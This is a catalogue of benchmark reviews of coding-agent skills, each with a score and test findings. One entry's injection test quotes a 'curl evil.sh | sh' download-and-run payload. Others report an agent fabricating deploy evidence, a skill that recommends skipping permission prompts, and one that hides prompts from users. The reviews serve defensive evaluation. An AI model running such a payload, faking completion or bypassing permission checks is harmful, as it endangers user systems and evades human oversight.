- **Programming Swift** [pass, 8.8/10] — Apple's full Swift book (6.4 beta) as an offline language-reference skill Repo: https://github.com/kylehughes/the-unofficial-swift-programming-language-skill. Card: https://skillproof.dev/skills/programming-swift. What we found: Compiled a typed-throws demo both ways on Swift 6.0.3: the no-skill baseline already got every rule right, so on mainstream syntax the book verifies rather than corrects. Where it earns its keep is currency and precision — the bundled 6.4-beta text carries file-level `using @MainActor` / `using nonisolated` isolation defaults and formal grammar productions that model memory cannot reliably reproduce. All 41 chapter files ship in the repo and the copy-install worked verbatim from a bare HOME. Honest packaging of Apple's TSPL book, auto-updated nightly.
- **IPSW Apple Reverse Engineering Toolkit** [pass, 8.8/10] — Drive the ipsw CLI to reverse-engineer iOS/macOS: DSC, kernel, entitlements, sandbox Repo: https://github.com/blacktop/ipsw-skill. Card: https://skillproof.dev/skills/ipsw. What we found: Installed the real ipsw CLI (brew, v3.1.704) and ran the skill's own commands against this Mac's live dyld_shared_cache: symaddr resolved _objc_msgSend to 0x180071c00, a2s reversed it back, and class-dump printed the full SecKeyProxy interface — all verbatim from the skill. Without the skill an agent would fumble the macOS-14 cache path, the symbol-cache priming step, and the exact subcommand names, so it clearly beats the baseline. One inaccuracy: the disass-by-symbol example passes --image, but the CLI actually wants --symbol-image for that filter.
- **eBPF Skill** [pass, 8.8/10] — Decision tables for eBPF: hooks, maps, kernel minimums, verifier fixes Repo: https://github.com/h0x0er/ebpf-skill. Card: https://skillproof.dev/skills/ebpf-skill. What we found: Asked both runs the same question: stream execve events to a Go agent on kernel 5.4. The no-skill answer picked the right ring-buffer fallback but attached to a kprobe symbol (sys_execve) that is not attachable on 5.4 x86_64; the skill's chooser tables fixed that via BPF_KSYSCALL and added the CAP_SYS_ADMIN-below-5.8 requirement, the fentry-to-kprobe fallback, and exact ebpf-go entry points the baseline omitted. Its kernel-minimum table checks out against kernel history, with one possible off-by-one (USER_RINGBUF listed as 6.2; it landed in 6.1). No Linux or BPF toolchain exists on this test Mac, so compile and load were not executed — the delta shown is answer-correctness, not runtime.
- **Debugger** [pass, 8.8/10] — Bug-triage persona: ranked root-cause hypotheses with confirm-steps, minimal fix, regression note Repo: https://github.com/antonbabenko/deliberation. Card: https://skillproof.dev/skills/debugger. What we found: Fed it a Python running_average() that crashed with ZeroDivisionError (total/i, i starting at 0). A plain baseline pass returned the correct one-line fix; following the skill produced the same fix (total/(i+1), verified live to output [10.0,15.0,20.0]) but added the pieces baseline skipped: a confidence-ranked hypothesis, an explicit confirm-step, and a regression note explaining that (i+1) equals the count of elements summed so far so later terms stay correct. The extracted skill is fully self-contained (no scripts, no external refs) and installs cleanly. Docs are honest to the point of under-selling, with a When-NOT-to-Invoke section that tells you to skip obvious bugs.
- **GoFrame v2** [pass, 8.8/10] — Enforces GoFrame v2 ORM conventions: DO objects, auto soft-delete and time Repo: https://github.com/gogf/skills. Card: https://skillproof.dev/skills/goframe-v2. What we found: On a soft-delete-and-update task the no-skill baseline wrote g.Map with a manual deleted_at and updated_at; the skill produced the framework-correct version using DO objects, Delete() for the soft delete, and no manual time fields, avoiding the double-timestamp bug GoFrame's automatic time maintenance would otherwise cause. All referenced reference docs and the user-http-service example resolve on disk. Clear, real convention enforcement for genuine gf/v2 codebases.
- **OpenTag** [pass, 8.8/10] — Set up and troubleshoot the OpenTag CLI that links Slack/GitHub to coding agents Repo: https://github.com/amplifthq/opentag. Card: https://skillproof.dev/skills/opentag. What we found: Installed @opentag/cli 0.6.0 from npm and ran `opentag --help`: every command the skill documents (setup, start, status, doctor, platforms, executors, config, cancel) exists exactly as described, so the guidance is grounded in the real tool rather than guessed. On a 'set up OpenTag with Slack' task the skill produced the correct install path, verification via `opentag doctor`, the real config location ~/.config/opentag/config.json, and honest limitation notes (OpenClaw cancel=no, foreground process) that a no-skill baseline for this niche tool cannot supply. Frontmatter parses, all five references/*.md and the docs/platforms guides exist, and the copy install ran verbatim from a bare HOME.
- **Acceptance Orchestrator** [pass, 8.4/10] — State-machine orchestration from issue intake to evidence-verified acceptance, never claiming done without proof. Repo: https://github.com/sickn33/antigravity-awesome-skills. Card: https://skillproof.dev/skills/acceptance-orchestrator. What we found: On a rate-limiting ticket, an unguided run claimed 'Done' with fabricated deploy evidence; following the skill it correctly refused, flagged the unmet issue gate, and returned a structured escalation report instead.
- **Vibe Build** [pass, 8.4/10] — Executes the AGENTS.md build plan: plan, build one feature, verify, then update progress. Repo: https://github.com/KhazP/vibe-coding-prompt-template. Card: https://skillproof.dev/skills/vibe-build. What we found: Both approaches produced identical working code, but only the guided run followed Plan-Execute-Verify and updated the project's own state file and roadmap checkbox afterward.
- **Auto Setup** [pass, 8.4/10] — Detects your stack and wires lint/typecheck/test/format quality gates into .claude/settings.json. Repo: https://github.com/rohitg00/pro-workflow. Card: https://skillproof.dev/skills/auto-setup. What we found: Ran it against a real bare-bones Node package.json (no tsconfig.json): it correctly detected Node.js and confirmed eslint/jest/prettier via real --version calls, but the Node/TS gate block it copies in verbatim would still add a 'tsc --noEmit' typecheck step to a project that has no TypeScript at all — a real, silent gap in the type-detection logic.
- **PinMe UniwebPay** [pass, 8.4/10] — Builds PinMe Cloudflare Worker code that accepts payments through UniwebPay. Repo: https://github.com/glitternetwork/pinme. Card: https://skillproof.dev/skills/pinme-uniwebpay. What we found: Verbatim git-clone + cp install ran with zero fixes; single-file SKILL.md, strict-YAML frontmatter, narrow/specific trigger description. Tested on handler construction only with placeholder env.* bindings — NO payment, transaction, or crypto transfer was executed and no real key entered; genuine live use needs a PinMe project with a provisioned UniwebPay wallet/account (env.UNIWEB_SECRET injected at deploy). A/B: both arms produced working createPaymentLink Worker handlers, but the skill's output encoded UniwebPay's actual conventions the base could only guess at — the exact 10-currency card set and 10-minor-unit minimum (base guessed a 4-currency subset and amount>0), and the documented two-arg client constructor with baseUrl/payUrl.
- **Fallow Review** [setup, 8.4/10] — Turns a diff into a ranked, graph-validated review brief with an anti-hallucination judgment loop. Repo: https://github.com/fallow-rs/fallow-skills. Card: https://skillproof.dev/skills/fallow-review. What we found: On a synthetic 4-file TS diff (new public export, a new payments-to-analytics import, a new npm dependency), the skill's subtract/focus/structure framing surfaced the cross-zone coupling risk and a breaking return-shape change that a plain ad-hoc review missed entirely — but its headline feature, graph-validated signal IDs that reject hallucinated judgments, needs the separate `fallow` CLI installed and was not exercised in this run.
- **Senior Engineering Partner** [pass, 8.4/10] — Strict senior-engineer persona: mode triggers, spec-plan-TDD-verify loop, security floor, tiered CI gates. Repo: https://github.com/bjgreenberg/senior-engineering-partner. Card: https://skillproof.dev/skills/senior-engineering-partner. What we found: Fed it a 4-line os.system() function with a shell-injection bug: baseline caught the injection, but the skill additionally forced path canonicalization, type hints, a TypedDict, and an actual pytest regression test before calling it done — real improvement, though the ~30KB instruction body is a heavy load for reviewing four lines.
- **AWS CloudFormation CloudWatch** [pass, 8.4/10] — CloudFormation snippets for CloudWatch alarms, dashboards, log groups, and metric filters, with deploy steps. Repo: https://github.com/giuseppe-trisciuoglio/developer-kit. Card: https://skillproof.dev/skills/aws-cloudformation-cloudwatch. What we found: Ran the mini-task twice: baseline CloudFormation from general AWS knowledge was functional but hardcoded its threshold and skipped log encryption; following the skill added Parameters, KMS-encrypted log groups, and the non-obvious gotcha that metric filters are immutable after creation. One factual snag: the skill states dashboard bodies are capped at 512KB, but AWS's actual CloudFormation limit is 102,400 characters (~100KB) — worth fixing before trusting it for capacity planning.
- **Assess** [setup, 8.4/10] — Weighted 7-dimension code/design quality scorer with a pass/fail gate — needs the full ork plugin plus memory MCP. Repo: https://github.com/yonatangross/orchestkit. Card: https://skillproof.dev/skills/assess. What we found: Manually applied its rubric.json weights to a deliberately vulnerable SQL-concatenation snippet: the skill's weighted composite (4.61, driven down by a 1/10 security score against a 4.0 min_blocker) correctly failed the code and named the exact injection line as a blocker, versus a baseline review that just said '3/10, use parameterized queries' with no structure. Caught a real doc bug: the frontmatter's dimension list names 'simplicity' as one of the 6 core dimensions, but the live rubric.json and quality-model.md show 7 default-mode dimensions (scalability and compliance instead) — simplicity only appears in comparison mode.
- **Asdf** [pass, 8.4/10] — Command reference for asdf-vm: plugins, .tool-versions, shims, and migrating off nvm/pyenv/rbenv. Repo: https://github.com/jjmartres/ai-coding-agents. Card: https://skillproof.dev/skills/asdf. What we found: A migrate-from-nvm mini-task showed the concrete value: the skill body correctly reaches for the modern `asdf set` command and the exact `.asdfrc` `legacy_version_file` key plus `asdf reshim` for broken shims, where an unguided answer is more likely to reach for the deprecated `asdf local`/`asdf global` syntax still common in older docs.
- **Agent Interaction Audit** [pass, 8.4/10] — Turns Codex/Claude Code session traces into a private, evidence-tiered retrospective with an actionable improvement queue. Repo: https://github.com/JasonxzWen/harness-hub. Card: https://skillproof.dev/skills/agent-interaction-audit. What we found: Applied its Report Contract to this very benchmarking session: it forced a BLUF plus evidence-tiered insight/bottleneck/recommendation structure instead of a flat timeline, and correctly self-labeled the single-session sample 'under-evidenced' rather than inflating a verdict — matching the skill's own built-in bad-vs-good example almost exactly.
- **Fullstack Template Generator** [pass, 8.4/10] — Scaffolds a FastAPI + React/Vite/shadcn starter with OpenAI chat wired in. Repo: https://github.com/umairalipathan1980/Claude-Skill-for-Full-Stack-Application-Development. Card: https://skillproof.dev/skills/fullstack-template-generator. What we found: Fetched the actual backend template: a real FastAPI /chat endpoint with rate-limit/invalid-key/model-error handling baked in, not a hello-world stub — but the SKILL.md's own step 3 points at templates/README.md.template, which returns a 404 in the repo.
- **Gh Pr Review (Cherry Studio)** [setup, 8.4/10] — Cherry Studio's in-house PR/branch reviewer enforcing DataApi/IpcApi and layer-boundary rules. Repo: https://github.com/CherryHQ/cherry-studio. Card: https://skillproof.dev/skills/gh-pr-review. What we found: Fed it a synthetic Cherry-Studio-style diff (a DataApi ipcMain.handle with business logic baked into the handler, plus a renderer component calling window.require('fs') directly): a generic baseline review caught the Electron nodeIntegration smell but missed the DataApi-handler boundary violation entirely, while the skill's guidance flagged both as named Blockers with the exact upstream doc and fix pattern (owning-service method + typed ipcApi.request route) — but that guidance only works because the full monorepo's docs/references/ tree is sitting next to it, which the standard install copy leaves behind.
- **PEFT Fine-Tuning** [pass, 8.4/10] — LoRA/QLoRA fine-tuning code for HuggingFace models with rank/alpha guidance and OOM fixes. Repo: https://github.com/Orchestra-Research/AI-Research-SKILLs. Card: https://skillproof.dev/skills/peft-fine-tuning. What we found: The skill's QLoRA example lists all seven Llama-3.1 linear layers (q/k/v/o_proj plus gate/up/down_proj) as LoRA targets and pairs them with a rank/alpha table and a GPU-memory benchmark table (60GB full FT vs 18GB LoRA vs 6GB QLoRA); a memory-only baseline answer for the same request produced a plausible but thinner config that only targeted q_proj/v_proj and cited no numbers.
- **Bridge Awareness** [setup, 8.4/10] — Lets one Claude Code session query a connected peer session for live, full-context answers. Repo: https://github.com/PatilShreyas/claude-code-session-bridge. Card: https://skillproof.dev/skills/bridge-awareness. What we found: Spun up two throwaway local sessions and ran the full register -> connect -> query -> response -> receive loop end to end — it genuinely relays a real question and answer between two projects — but the standard skill-folder copy leaves it non-functional: the scripts it calls live outside the skill's own directory and jq had to be installed first.
- **Agy CLI** [setup, 8.4/10] — Delegate coding tasks to Google's Antigravity CLI with a stall-safe headless runner. Repo: https://github.com/georgekhananaev/claude-skills-vault. Card: https://skillproof.dev/skills/agy-cli. What we found: ⚠ Security: it recommends --dangerously-skip-permissions as the standard pattern for delegated runs; the skill documents the risk, but keep it sandboxed. agy itself isn't installed and needs an interactive OAuth login no agent can complete, but both bundled scripts ran for real and failed exactly as documented (agy_preflight.sh exited 1 with 'agy not found', agy_run.sh exited 3 the same way) -- and that same test exposed a real bug: the skill's own recommended invocation hardcodes the relative path '.claude/skills/agy-cli/scripts/agy_run.sh', which does not resolve once the skill is installed globally to ~/.claude/skills/agy-cli, the exact install path this benchmark's own protocol requires.
- **Agent Loop** [setup, 8.4/10] — Multi-agent epic-to-PR workflow: 4-phase execution, tiered models, TDD gates Repo: https://github.com/vinnie357/claude-skills. Card: https://skillproof.dev/skills/agent-loop. What we found: The skill's own text admits its cross-plugin '/claude-code:*' loads won't resolve standalone, but understates the bigger problem: the standard single-folder install (cp -r .../agent-loop) also drops all nine 'mandatory' same-plugin skills it Skill-loads by name (/core:tdd, /core:restraint, /core:bees, /core:git, /core:mise, /core:nushell, /core:security, /core:twelve-factor, /core:anti-fabrication) — none of which exist after that copy.
- **Angular Material Developer** [pass, 8.4/10] — Angular Material M3 theming and component guidance, correctly steers off the deprecated M2 API Repo: https://github.com/mofirojean/angular-ui-skills. Card: https://skillproof.dev/skills/angular-material-developer. What we found: Verified against the live npm registry and Angular's own source: the skill correctly steers agents off the deprecated mat.define-light-theme() M2 API and onto mat.theme(), but its own primary setup path (`provideAnimationsAsync()`) carries an `@deprecated 20.2 ... Intent to remove in v23` tag in Angular's source that the skill never mentions, despite explicitly targeting v22 as current; it also mis-dates the @angular/material@22.0.2 release (claims 2026-06-03, npm shows that date belongs to 21.2.14, and 22.0.2 actually shipped 2026-06-17).
- **PHP Modernization** [pass, 8.4/10] — PHP 8.1-8.5 modernization workflow with a real discovery script, checklist, and hard guardrails. Repo: https://github.com/netresearch/php-modernization-skill. Card: https://skillproof.dev/skills/php-modernization. What we found: Ran the bundled verify_php_project.py for real against the repo's own generic-composer-minimal fixture (no uv available, ran via plain python3) -- its 9 agent_actions checkpoint IDs matched the repo's own golden expected/verifier.json exactly, byte-for-byte on the substantive fields.
- **Architecture Impact** [pass, 8.4/10] — Turns a PR diff into a before/after architecture doc for PMs, with an honest risk section. Repo: https://github.com/AlemTuzlak/skills. Card: https://skillproof.dev/skills/architecture-impact. What we found: Ran it live on cli/cli PR #13864 (add a Grok agent-host entry): the skill correctly classified the change as non-architectural and routed to a one-line brief note instead of forcing manufactured before/after diagrams onto a trivial table addition -- exactly the discipline a naive prompt wouldn't show.
- **D2 Diagram Generator for Azure** [setup, 8.4/10] — Turns Terraform Azure infra into icon-accurate D2 architecture diagrams via a mandatory scope questionnaire and live icon lookup. Repo: https://github.com/miiitch/d2-gen. Card: https://skillproof.dev/skills/d2-gen-azure. What we found: Ran it for real on a 3-resource Terraform snippet (Function App + Storage + Service Plan): it correctly resolved live Azure icons from the repo's own GitHub-hosted JSON index and rendered a valid SVG via `d2 --layout=elk --theme=1` - but its description advertises Bicep support while the SKILL.md's own Icon Source Requirement section only ever wires in the Terraform icon mapping URL, so a real Bicep diagram would silently fall back to plain rectangles for every single resource despite a working icon-index-bicep-png.json sitting unused in the same repo.
- **API Integrations (Falcon Foundry)** [setup, 8.4/10] — Downloads, auto-fixes, and registers vendor OpenAPI specs as CrowdStrike Falcon Foundry integrations. Repo: https://github.com/CrowdStrike/foundry-skills. Card: https://skillproof.dev/skills/api-integrations. What we found: Ran the bundled adapt_spec_for_foundry.py for real against a planted sample spec (oauth2 authorizationCode + https:// server var with a default + a duplicated query param): it correctly stripped the protocol, removed the locked-dropdown default, deleted the unsupported oauth2 scheme, and deduped the parameter, exactly as documented — but the script lives at the plugin's repo root (scripts/adapt_spec_for_foundry.py) and the PreToolUse hook that auto-runs it lives in hooks/hooks.json via ${CLAUDE_PLUGIN_ROOT}, neither of which is inside skills/api-integrations, so a plain folder copy silently loses the 'MANDATORY' automation and the ../../use-cases/*.md links, on top of needing the CrowdStrike `foundry` CLI and a Foundry subscription to actually register anything.
- **API Integration Patterns** [pass, 8.4/10] — Subprocess-safe API/CLI patterns: no shell=True, whitelisted commands, retry backoff, token validation. Repo: https://github.com/akaszubski/autonomous-dev. Card: https://skillproof.dev/skills/api-integration-patterns. What we found: Real CWE-78 test: baseline code used shell=True with an f-string repo name, letting a crafted repo value append 'curl evil.sh | sh'; the skill's argv-array + shell=False version passed the same malicious string through gh as one inert argument. Concrete, not cosmetic.
- **Ql Brainstorm** [setup, 8.4/10] — Gated Socratic feature-design interview, but requires the whole quantum-loop plugin, not just this folder Repo: https://github.com/andyzengmath/quantum-loop. Card: https://skillproof.dev/skills/ql-brainstorm. What we found: The interview process itself is genuinely good -- live-ran its ambiguity-gate script and watched it correctly reject an under-specified first round (score 23, needs <20) and force a follow-up question before passing (score 16) -- but a bare `cp -r skills/ql-brainstorm` install is structurally broken: Phase 0/0B/4c immediately shell out to lib/phase-skip.sh, lib/ambiguity.sh, lib/handoff.sh and agents/spec-reviewer.md, none of which exist outside the full quantum-loop repo, and the project's own README says the supported install is the plugin marketplace or `--plugin-dir`, not a single skill folder.
- **Rust Architect** [pass, 8.4/10] — Generates a full Rust architecture doc package: ADRs, guardrails, domain model, Director/Implementor handoff. Repo: https://github.com/nanlong/rust-architect. Card: https://skillproof.dev/skills/rust-architect. What we found: Asked it to architect a small Rust CLI task manager with SQLite: it produced a full 13-file doc package (ADRs, guardrails, domain model with concrete structs/enums, Director/Implementor role contracts) instead of the couple paragraphs a baseline answer gives — genuinely more specific and idiomatic (rust_decimal-for-money, thiserror/anyhow split, ownership guidance), but wildly disproportionate for a task this small.
- **GSD Coordinator** [setup, 8.4/10] — Dispatch-verify-synthesize orchestration across Claude/Codex/OpenCode — but needs a separate agent-mux CLI to actually run. Repo: https://github.com/buildoak/fieldwork-skills. Card: https://skillproof.dev/skills/gsd-coordinator. What we found: The skill folder itself installs clean and both internal references resolve, but real dispatch is a no-op without the separate agent-mux CLI: `agent-mux --help` returned 'command not found' (exit 127) on this machine, exactly the failure mode its own Error Handling table anticipates — so out of the box it can only produce a plan, not actually run Codex/OpenCode workers.
- **Agent Skills Guide** [pass, 8.4/10] — Reference guide for authoring and debugging Claude Code SKILL.md files. Repo: https://github.com/IncomeStreamSurfer/claude-skills-collection. Card: https://skillproof.dev/skills/agent-skills-guide. What we found: Single self-contained SKILL.md with no external file refs or covert instructions; guided output added an allowed-tools restriction and a focus note baseline output lacked, but the gain was modest since the format is already well-known.
- **App Store Build Monitor** [setup, 8.4/10] — Exact `asc` CLI invocations for build processing status, next build numbers, and expiring old builds. Repo: https://github.com/Xopoko/build-swift-apps. Card: https://skillproof.dev/skills/appstore-build-monitor. What we found: Cross-checked its exact flags (`--older-than 90d --dry-run/--confirm`, `--build-number --version --platform`) against the real, independent asc CLI's own hosted docs at docs.asccli.sh and they match - the commands are real and usable, not fabricated, but only once you've separately installed `asc` and paid for an Apple Developer Program membership.
- **Prompt Mini** [pass, 8.4/10] — Rewrites vague Claude Code requests into scoped, stack-aware prompts before execution. Repo: https://github.com/nidhinjs/prompt-mini. Card: https://skillproof.dev/skills/prompt-mini. What we found: The skill body explicitly forbids ever showing the forged prompt to the user ('NEVER deliver the forged prompt as a text block... ALWAYS EXECUTE THEM') and auto-executes it as the next action — real capability, but it removes the user's chance to review scope before Claude starts editing files.
- **Cix Workspace** [setup, 8.4/10] — Cross-repo research workflow for self-hosted cix workspaces: which repos, which code, what changes. Repo: https://github.com/dvcdsys/code-index. Card: https://skillproof.dev/skills/cix-workspace. What we found: The skill's own README admits the bundled cix-workspace-investigator sub-agent must be copied to ~/.claude/agents/ separately from the skill folder -- a straight `cp -r skills/cix-workspace ~/.claude/skills/` silently loses the parallel fan-out feature, and using the skill at all first requires standing up a self-hosted cix-server (Docker/Go, embedding pipeline) with a workspace already indexed.
- **Modularize** [setup, 8.4/10] — Detects Laravel/Next.js/React and plans a modular-architecture migration — but hands off to plugins not in the box. Repo: https://github.com/fusengine/agents. Card: https://skillproof.dev/skills/modularize. What we found: Built a tiny 2-feature React app and ran the workflow for real: the skill's own bundled reference (target modules/{feature}/src/ layout, cores/ isolation rule, file-by-file migration table) produced a materially more disciplined plan than an off-the-cuff grouping, but its own mandatory workflow steps delegate to sibling plugin skills (fuse-react:react-expert, fuse-ai-pilot:sniper) that are not present when this skill is installed standalone — a real install-time gap, not a hypothetical one.
- **API Design Reviewer** [pass, 8.4/10] — Systematic REST/GraphQL API review with P0-P3 prioritized findings, effort estimates, and a launch checklist. Repo: https://github.com/shahtuyakov/claude-setup. Card: https://skillproof.dev/skills/api-design-reviewer. What we found: Reviewed a deliberately sloppy 4-route Express file: a baseline pass already caught the blatant SQL injection and missing auth, but the skill's structured checklist additionally surfaced versioning, idempotency-key handling for the POST /orders endpoint, and rate limiting, then packaged everything into a prioritized P0-P3 report with effort estimates instead of a flat list. The frontmatter oversells gRPC coverage, though -- the body has zero gRPC-specific section (no streaming, proto-versioning, or service-definition checklist) despite GraphQL getting a full dedicated subsection.
- **CodeAlive Context Engine** [setup, 8.4/10] — Semantic search, grep, and call-graph tracing across CodeAlive-indexed repos. Repo: https://github.com/CodeAlive-AI/codealive-skills. Card: https://skillproof.dev/skills/codealive-context-engine. What we found: Every script but get_version.py hard-requires a CodeAlive account, indexed repos, and a stored API key (verified: datasources.py fails cleanly with a setup pointer, no key found) — the skill itself is clean and well-designed, but there's a real signup/indexing wall before it does anything.
- **Architecture Critic** [setup, 8.4/10] — Senior-architect review persona: 9-point structural checklist, YAGNI/astronaut-architecture guardrails. Repo: https://github.com/cofin/flow. Card: https://skillproof.dev/skills/architecture-critic. What we found: Real gap: the 'References Index' points to `../perspectives/references/stances.md`, a sibling skill file that lives outside this folder in the cofin/flow plugin. Copy just architecture-critic/ as the repo's own layout implies and that link 404s -- confirmed by copying the folder into ~/.claude/skills and checking the path resolves to nothing. The core 9-point checklist and persona are self-contained and work fine standalone; only the 'perspectives'/'consensus' cross-skill hooks are broken.
- **Code Generator** [pass, 8.4/10] — Turns a design doc into a phase-by-phase implementation plan with cost estimates and an approval gate. Repo: https://github.com/Dqz00116/skill-lib. Card: https://skillproof.dev/skills/code-generator. What we found: Ran a real design-to-code mini task: the skill's plan step surfaced an ambiguous design decision (mutate vs. return-new) and asked before writing, which the unguided baseline silently assumed instead — but for a 2-file task the mandatory plan/approval/report ceremony is disproportionate overhead.
- **Claude Codex Bridge** [setup, 8.4/10] — Real, working Claude<->Codex audit-handoff pipeline with durable run tracking, but the skill scripts are dead on arrival without a separately-installed bridge runtime Repo: https://github.com/Jayden-X-L/claude-codex-bridge. Card: https://skillproof.dev/skills/claude-codex-bridge. What we found: Actually ran the shipped send-to-codex.mjs script end to end against a real workspace: it wrote a real handoff file to .agent-bridge/inbox/, created a runId-scoped run directory, and - since Codex CLI wasn't installed here - correctly produced a bridge_error.json with a precise three-option fix instead of ever claiming the audit happened. The catch: the scripts hard-depend on agent-bridge/bridge.mjs, a runtime that lives outside the skill folder entirely, so a literal cp -r of just the skill directory is broken until that sibling runtime is installed separately.
- **Briesearch** [setup, 8.4/10] — Cited, multi-source research with a mechanical grounding checker — but ships wired into a whole sibling-skill suite. Repo: https://github.com/paulnsorensen/easy-cheese. Card: https://skillproof.dev/skills/briesearch. What we found: Ran the bundled ground_check.py grounding linter on a real synthesis report (httpx HTTP/2 support) and it correctly flagged an under-supported 'certain' absence claim — the mechanical check works. But the skill body hard-references sibling files outside its own folder (../cheese/references/ask-user-question.md, ../cheese/references/formatting.md, ../age/references/voice.md, ../age/references/sub-agent-gate.md) that a bare `cp -r skills/briesearch` install leaves behind, silently breaking its house-style formatting, voice kernel, and clarifying-question transport.
- **Jup Architect** [setup, 8.4/10] — A real, well-grounded architecture-review rubric for the jup CLI's own codebase — but it only means anything if you're literally working inside the jup repo. Repo: https://github.com/andrader/jup. Card: https://skillproof.dev/skills/jup-architect. What we found: Used as intended, inside the real jup repo, its Data Persistence focus area guided a real find: get_skills_lock() in src/jup/config.py silently swallows any parse exception and returns an empty SkillsLock(), which skills_lock_session() then persists back to disk on exit — a traceable path to silently wiping a user's real lockfile on any transient corruption. But the skill's own Deliverables section points at docs/superpowers/specs/ and docs/superpowers/plans/, directories that don't exist and aren't part of jup's actual documented workflow (AGENTS.md specifies backlog/roadmap.md instead) — stale copy-paste from a template, and outside the jup repo itself this skill is functionally inert.
- **Iterative Code Evolution** [pass, 8.4/10] — Replaces ad-hoc trial-and-error fixing with an ANALYZE-PLAN-MUTATE-VERIFY-SCORE-ARCHIVE loop logged to .evolution/log.json. Repo: https://github.com/aaronjmars/iterative-code-evolution. Card: https://skillproof.dev/skills/iterative-code-evolution. What we found: Real A/B on a crashing CSV-row parser: the ad-hoc baseline and the skill-guided fix landed on the same 3/5-passing code, but the skill's archived .evolution/log.json correctly diagnosed the 2 remaining failures as valid-per-spec (missing email, empty row) rather than bugs -- a concrete process win even though the code diff itself tied.
- **SmartCMP Resource** [setup, 8.4/10] — Browse SmartCMP cloud resources, inspect VM detail, and run confirmed power operations. Repo: https://github.com/CloudChef/atlasclaw-providers. Card: https://skillproof.dev/skills/resource. What we found: A verbatim cp -r of just the resource/ folder crashes instantly with ModuleNotFoundError: No module named '_common' -- all 4 scripts import a sibling shared/scripts/_common.py that lives outside the skill folder, so it must be copied alongside by hand; once done, the tool fails closed cleanly ('access authentication is not configured') instead of crashing when no SmartCMP credentials are set.
- **ServiceNow Now SDK (Fluent)** [pass, 8.4/10] — Drives the ServiceNow Fluent CLI: authoritative explain docs and live instance queries Repo: https://github.com/ServiceNow/sdk. Card: https://skillproof.dev/skills/now-sdk. What we found: Ran the CLI it drives (@servicenow/sdk 4.8.1): 'explain --list' returned 200+ authoritative Fluent topics and 'explain encoded-query-guide' gave exact version-specific syntax (^, ^OR, ^NQ operators, the 'condition:' field) that a from-memory answer for this niche TypeScript SDK would fumble, plus it surfaces the explain/query subcommands a baseline wouldn't know to run. The headline live-query capability needs a ServiceNow instance and auth, so that path stays unmeasured behind a login wall.
- **Dive Into LangGraph** [pass, 8.4/10] — Reference-backed LangGraph 1.0 / LangChain 1.x agent-building guide with 11 chapters Repo: https://github.com/luochang212/dive-into-langgraph. Card: https://skillproof.dev/skills/dive-into-langgraph. What we found: Built the skill's exact create_agent + ToolRuntime[Context] permission pattern against a freshly installed langgraph 1.2.9 / langchain 1.3.14: it compiled into a valid 4-node agent graph, whereas a from-memory baseline reaches for the now-legacy langgraph.prebuilt.create_react_agent. The reference API is current and verified, though the 11 chapters are in Chinese, which the description does not warn about.
- **Code Cleanup Helper** [pass, 8.4/10] — Two-mode tech-debt scanner: DRY/naming/length sweep plus pre-release repo audit Repo: https://github.com/Hao0321/claude-skill-code-cleanup. Card: https://skillproof.dev/skills/code-cleanup-helper. What we found: Ran its Mode A plus Mode B audit against a real multi-project repo: the prescribed greps surfaced a Spanish table-header block duplicated 13 times across audit docs, doc versions (v1.5) with zero matching git tags, and a README tool-count claim (149 actions) that differs from the 154 public action functions in the code — none of which an unguided baseline review caught. One real flaw: the cross-link check run verbatim resolves paths from the repo root instead of per file, which produced 11 false 'broken link' reports until corrected. The Chinese-language SKILL.md is no barrier in practice; its Latin-script trigger words (codebase, repo audit, review, prompt) fire from English requests.
- **API Documentation Generator** [setup, 8/10] — Documents existing API routes into markdown/OpenAPI; does not scaffold new endpoint code. Repo: https://github.com/huangjia2019/claude-code-engineering. Card: https://skillproof.dev/skills/api-docs-generator. What we found: Ran the bundled scripts for real: detect_routes.py correctly found all 4 routes across two test files, but validate_openapi.sh choked on the skill's own templates/openapi.yaml — its {PLACEHOLDER} tokens are invalid YAML flow-mapping keys, so the bundled template fails the bundled validator until you hand-fill it first. (Listed here under our older name; the skill's own name is "API Documentation Generator".)
- **Understand Chat** [setup, 8/10] — Answers codebase questions by grepping a pre-built knowledge-graph.json instead of re-reading the whole repo. Repo: https://github.com/Egonex-AI/Understand-Anything. Card: https://skillproof.dev/skills/understand-chat. What we found: Re-tested against upstream HEAD (2026-07-17): the authors added a graph-freshness gate that resolves the graph's gitCommitHash, diffs it against HEAD with a project-scoped pathspec, and warns before answering from stale data. I executed that bash block verbatim on a fixture repo whose graph predated an MFA commit and an uncommitted edit -- it correctly flagged all three drifted files, so the skill no longer answers from a stale graph silently. The graph-structure reference in SKILL.md now matches the field names in both the producer pipeline and packages/core types, resolving the doc mismatch we originally flagged. What has not changed: it queries a knowledge graph only the sibling /understand skill can generate, so installed alone it still has nothing to work with. Stage 0 clean -- the new bash is read-only git plumbing with no network calls.
- **Vercel CLI** [setup, 8/10] — Non-interactive Vercel deploys with pre-build and post-deploy live-URL verification. Repo: https://github.com/nanocoai/nanoclaw. Card: https://skillproof.dev/skills/vercel-cli. What we found: Its whole auth model leans on a proprietary internal token-injection layer; outside that environment the documented --token flag just fails with no plain VERCEL_TOKEN fallback.
- **Changelog Discipline** [pass, 8/10] — Changelogs that trace to real commits — breaking changes never buried or dropped Repo: https://github.com/Skillproofdev/changelog-discipline. Card: https://skillproof.dev/skills/changelog-discipline. What we found: Our own skill — tested under the same protocol, disclosed. Benchmarked head-to-head against a no-skill baseline across 4 real OSS release ranges (Django, Tailwind CSS, FastAPI, curl): fabrication tied 0-0 for both arms (neither invented entries, versions, dates, or citations), but the skill decisively won Keep-a-Changelog format compliance (30/36 vs 13/36) and breaking-change-first placement (4/4 ranges vs 0/4) plus large traceable-commit-coverage gains (e.g. Django 58% vs 6%, Tailwind 87% vs 0%). Base won blind readability preference on the two largest/noisiest repos (curl, Django) and edged the skill on FastAPI's traceable coverage by citing internal commits the skill correctly excluded — a genuinely mixed result, published in full including the losses. Protocol test caught real issues in our own repos (dead benchmark links, strict-YAML frontmatter) — fixed and re-verified same day.
